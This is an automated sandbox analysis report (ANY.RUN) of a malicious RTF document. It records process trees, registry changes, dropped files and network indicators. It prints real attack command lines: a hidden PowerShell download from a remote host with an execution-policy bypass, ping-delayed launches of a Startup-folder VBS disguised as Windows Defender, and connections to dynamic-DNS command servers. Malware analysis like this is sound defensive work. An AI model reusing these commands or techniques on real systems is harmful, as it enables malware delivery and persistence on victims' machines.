File name:

631f70e71fc0b3170069e3a9b2e51b47

Full analysis: https://app.any.run/tasks/9d45e690-e7a5-4c7f-ba0b-6408287bc2a0
Verdict: Malicious activity
Analysis date: July 18, 2019, 03:08:33
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
ole-embedded
Indicators:
MIME: text/rtf
File info: Rich Text Format data, version 1, unknown character set
MD5:

631F70E71FC0B3170069E3A9B2E51B47

SHA1:

BB0D114862B66100BD958B4D83A8BD739E10217B

SHA256:

4EB760FC5FFB293CFFE8CEF0C9B2495A334057FFA2EF50B2CBC5FBFCB6F8800D

SSDEEP:

768:qaKf8YDEX6w3Mz6B7hEfHPtEU7CPJF4u+OmaRB4nJjOhi/WDf+DfP5dlAZkY7S4h:qfN4CHmUWX4ZO3KMhpD8P5DnY7ScttL

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Writes to a start menu file

      • WScript.exe (PID: 2180)
      • amsi.dll (PID: 2440)
      • wscript.exe (PID: 3088)
      • amsi.dll (PID: 4092)

    • Runs PING.EXE for delay simulation

      • cmd.exe (PID: 2360)
      • cmd.exe (PID: 2828)
      • cmd.exe (PID: 2520)
      • cmd.exe (PID: 3688)
      • cmd.exe (PID: 2444)
      • cmd.exe (PID: 2944)
      • cmd.exe (PID: 3044)

    • Starts CMD.EXE for commands execution

      • EXCEL.EXE (PID: 3952)

    • Application was dropped or rewritten from another process

      • WScript.exe (PID: 2180)
      • amsi.dll (PID: 2440)
      • outlook.exe (PID: 3380)
      • wscript.exe (PID: 3088)
      • amsi.dll (PID: 4092)
      • outlook.exe (PID: 2652)
      • outlook.exe (PID: 3676)
      • outlook.exe (PID: 3852)

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 3952)

    • Loads dropped or rewritten executable

      • cmd.exe (PID: 2360)
      • WScript.exe (PID: 2180)
      • amsi.dll (PID: 2440)
      • wscript.exe (PID: 3088)

    • Changes the autorun value in the registry

      • amsi.dll (PID: 2440)
      • amsi.dll (PID: 4092)

  • SUSPICIOUS

    • Executed via COM

      • EXCEL.EXE (PID: 3952)

    • Creates files in the user directory

      • WScript.exe (PID: 2180)
      • powershell.exe (PID: 4016)
      • powershell.exe (PID: 3384)
      • powershell.exe (PID: 2616)
      • powershell.exe (PID: 2364)

    • Executable content was dropped or overwritten

      • WScript.exe (PID: 2180)
      • powershell.exe (PID: 4016)

    • Starts application with an unusual extension

      • WScript.exe (PID: 2180)
      • wscript.exe (PID: 3088)

    • Starts itself from another location

      • WScript.exe (PID: 2180)
      • amsi.dll (PID: 2440)
      • wscript.exe (PID: 3088)

    • Executes PowerShell scripts

      • WScript.exe (PID: 2180)
      • wscript.exe (PID: 3088)

    • Starts CMD.EXE for commands execution

      • WScript.exe (PID: 2180)
      • wscript.exe (PID: 3088)

    • Executes scripts

      • cmd.exe (PID: 2360)
      • amsi.dll (PID: 2440)

    • Uses TASKKILL.EXE to kill Office Apps

      • cmd.exe (PID: 4004)
      • cmd.exe (PID: 3988)

    • Reads Internet Cache Settings

      • amsi.dll (PID: 2440)
      • amsi.dll (PID: 4092)

    • Creates files in the program directory

      • AdobeARM.exe (PID: 3304)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2992)
      • EXCEL.EXE (PID: 3952)

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 3952)
      • WINWORD.EXE (PID: 2992)

    • Application launched itself

      • RdrCEF.exe (PID: 3488)
      • AcroRd32.exe (PID: 2852)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rtf | Rich Text Format (100)

EXIF

RTF

Author: Karla
LastModifiedBy: Karla
CreateDate: 2019:06:13 01:57:00
ModifyDate: 2019:06:13 02:00:00
RevisionNumber: 1
TotalEditTime: 3 minutes
Pages: 1
Words: 6
Characters: 34
CharactersWithSpaces: 39
InternalVersionNumber: 57433
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
91
Monitored processes
43
Malicious processes
6
Suspicious processes
6

Behavior graph

Click at the process to see the details
start drop and start winword.exe no specs excel.exe cmd.exe no specs ping.exe no specs wscript.exe amsi.dll powershell.exe cmd.exe no specs cmd.exe no specs powershell.exe cmd.exe no specs cmd.exe no specs ping.exe no specs ping.exe no specs ping.exe no specs taskkill.exe no specs taskkill.exe no specs wscript.exe outlook.exe acrord32.exe amsi.dll acrord32.exe no specs powershell.exe no specs cmd.exe no specs cmd.exe no specs powershell.exe no specs cmd.exe no specs ping.exe no specs cmd.exe no specs ping.exe no specs ping.exe no specs taskkill.exe no specs taskkill.exe no specs outlook.exe no specs rdrcef.exe no specs rdrcef.exe no specs rdrcef.exe no specs outlook.exe no specs acrord32.exe no specs acrord32.exe no specs outlook.exe no specs adobearm.exe no specs reader_sl.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2180"C:\Windows\System32\WScript.exe" "C:\Users\Public\WindowsDefender.vbs" C:\Windows\System32\WScript.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2280"C:\Program Files\Adobe\Acrobat Reader DC\Reader\Reader_sl.exe" C:\Program Files\Adobe\Acrobat Reader DC\Reader\Reader_sl.exe—AdobeARM.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
MEDIUM
Description:
Adobe Acrobat SpeedLauncher
Exit code:
0
Version:
15.23.20053.211670
Modules
Images
c:\program files\adobe\acrobat reader dc\reader\reader_sl.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
2300ping 127.0.0.1 -n 10 C:\Windows\system32\PING.EXE—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
TCP/IP Ping Command
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\ping.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\nsi.dll
2360"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & start C:\Users\Public\WindowsDefender.vbsC:\Windows\System32\cmd.exe—EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2364"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object Net.WebClient).DownloadFile('https://ciginfo.websiteseguro.com/logs/documento.mp3','C:\Users\admin\AppData\Local\Temp\documento.pdf')C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2392"C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-3d-apis --disable-databases --disable-direct-npapi-requests --disable-file-system --disable-notifications --disable-shared-workers --disable-direct-write --lang=en-US --lang=en-US --log-severity=disable --product-version="ReaderServices/15.23.20053 Chrome/45.0.2454.85" --device-scale-factor=1 --enable-delegated-renderer --num-raster-threads=2 --gpu-rasterization-msaa-sample-count=8 --content-image-texture-target=3553 --video-image-texture-target=3553 --disable-accelerated-video-decode --disable-webrtc-hw-encoding --disable-gpu-compositing --channel="3488.0.1032409719\657796599" --allow-no-sandbox-job /prefetch:673131151C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe—RdrCEF.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
LOW
Description:
Adobe RdrCEF
Exit code:
0
Version:
15.23.20053.211670
Modules
Images
c:\program files\adobe\acrobat reader dc\reader\acrocef\rdrcef.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
2440"C:\Users\admin\AppData\Local\Temp\amsi.dll" "C:\Users\Public\WindowsDefender.vbs"C:\Users\admin\AppData\Local\Temp\amsi.dll
WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\users\admin\appdata\local\temp\amsi.dll
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2444"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 > nul & start ,C:\Users\Public\outlook.exeC:\Windows\System32\cmd.exe—wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2520"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 > nul & start ,C:\Users\Public\outlook.exeC:\Windows\System32\cmd.exe—WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2600"C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" --type=renderer "C:\Users\admin\AppData\Local\Temp\documento.pdf"C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe—AcroRd32.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
LOW
Description:
Adobe Acrobat Reader DC
Exit code:
1
Version:
15.23.20070.215641
Modules
Images
c:\program files\adobe\acrobat reader dc\reader\acrord32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
Total events
4 043
Read events
3 621
Write events
418
Delete events
4

Modification events

(PID) Process:(2992) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:fa#
Value:
66612300B00B0000010000000000000000000000
(PID) Process:(2992) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(2992) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(2992) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1324482590
(PID) Process:(2992) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1324482704
(PID) Process:(2992) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1324482705
(PID) Process:(2992) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:writeName:MTTT
Value:
B00B000002323625163DD50100000000
(PID) Process:(2992) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:jc#
Value:
6A632300B00B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(2992) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:delete valueName:jc#
Value:
6A632300B00B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(2992) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
Executable files
2
Suspicious files
14
Text files
28
Unknown types
19

Dropped files

PID
Process
Filename
Type
2992WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRAD66.tmp.cvr —
MD5:—
SHA256:—
3952EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVRB9CA.tmp.cvr —
MD5:—
SHA256:—
4016powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\EF8SWUGZ5BRSRZWG8FQ8.temp —
MD5:—
SHA256:—
3384powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JYO1GRH5KPMS1OO0BYRA.temp —
MD5:—
SHA256:—
2992WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:—
SHA256:—
3952EXCEL.EXEC:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@pastebin[1].txttext
MD5:—
SHA256:—
3952EXCEL.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JGRR2OYX\VvGm345P[1].txttext
MD5:—
SHA256:—
2616powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2591ZTUQQKKJ0GYSTUYV.temp —
MD5:—
SHA256:—
2992WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$1f70e71fc0b3170069e3a9b2e51b47.rtfpgc
MD5:—
SHA256:—
2180WScript.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsDefender.vbstext
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
32
DNS requests
10
Threats
2

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2852
AcroRd32.exe
GET
304
2.16.186.33:80
http://acroipm2.adobe.com/15/rdr/ENU/win/nooem/none/consumer/278_15_23_20070.zip
unknown
—
—
whitelisted
2852
AcroRd32.exe
GET
304
2.16.186.33:80
http://acroipm2.adobe.com/15/rdr/ENU/win/nooem/none/consumer/280_15_23_20070.zip
unknown
—
—
whitelisted
2852
AcroRd32.exe
GET
304
2.16.186.33:80
http://acroipm2.adobe.com/15/rdr/ENU/win/nooem/none/consumer/281_15_23_20070.zip
unknown
—
—
whitelisted
2852
AcroRd32.exe
GET
304
2.16.186.33:80
http://acroipm2.adobe.com/15/rdr/ENU/win/nooem/none/consumer/message.zip
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3952
EXCEL.EXE
104.20.208.21:443
pastebin.com
Cloudflare Inc
US
shared
4016
powershell.exe
191.252.51.54:443
ciginfo.websiteseguro.com
Locaweb Serviços de Internet S/A
BR
unknown
2440
amsi.dll
104.20.208.21:443
pastebin.com
Cloudflare Inc
US
shared
3384
powershell.exe
191.252.51.54:443
ciginfo.websiteseguro.com
Locaweb Serviços de Internet S/A
BR
unknown
4092
amsi.dll
104.20.208.21:443
pastebin.com
Cloudflare Inc
US
shared
—
—
2.21.36.203:443
armmf.adobe.com
GTT Communications Inc.
FR
suspicious
—
—
2.18.233.74:443
ardownload2.adobe.com
Akamai International B.V.
—
whitelisted
3380
outlook.exe
152.253.153.118:6606
soucdtevoceumcuzao.duckdns.org
TELEFÔNICA BRASIL S.A
BR
unknown
4092
amsi.dll
152.246.81.100:9000
bylgay.hopto.org
TELEFÔNICA BRASIL S.A
BR
malicious
2852
AcroRd32.exe
2.21.36.203:443
armmf.adobe.com
GTT Communications Inc.
FR
suspicious

DNS requests

Domain
IP
Reputation
pastebin.com
  • 104.20.208.21
  • 104.20.209.21
malicious
ciginfo.websiteseguro.com
  • 191.252.51.54
unknown
soucdtevoceumcuzao.duckdns.org
  • 152.253.153.118
malicious
bylgay.hopto.org
  • 152.246.81.100
malicious
acroipm2.adobe.com
  • 2.16.186.33
  • 2.16.186.32
whitelisted
armmf.adobe.com
  • 2.21.36.203
whitelisted
ardownload2.adobe.com
  • 2.18.233.74
whitelisted

Threats

PID
Process
Class
Message
1044
svchost.exe
Misc activity
ET INFO DYNAMIC_DNS Query to *.duckdns. Domain
1044
svchost.exe
Misc activity
ET INFO DYNAMIC_DNS Query to *.duckdns. Domain
Process
Message
outlook.exe
Disconnected!
outlook.exe
Disconnected!
outlook.exe
Disconnected!
outlook.exe
Disconnected!
outlook.exe
Disconnected!
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Reports
631f70e71fc0b3170069e3a9b2e51b47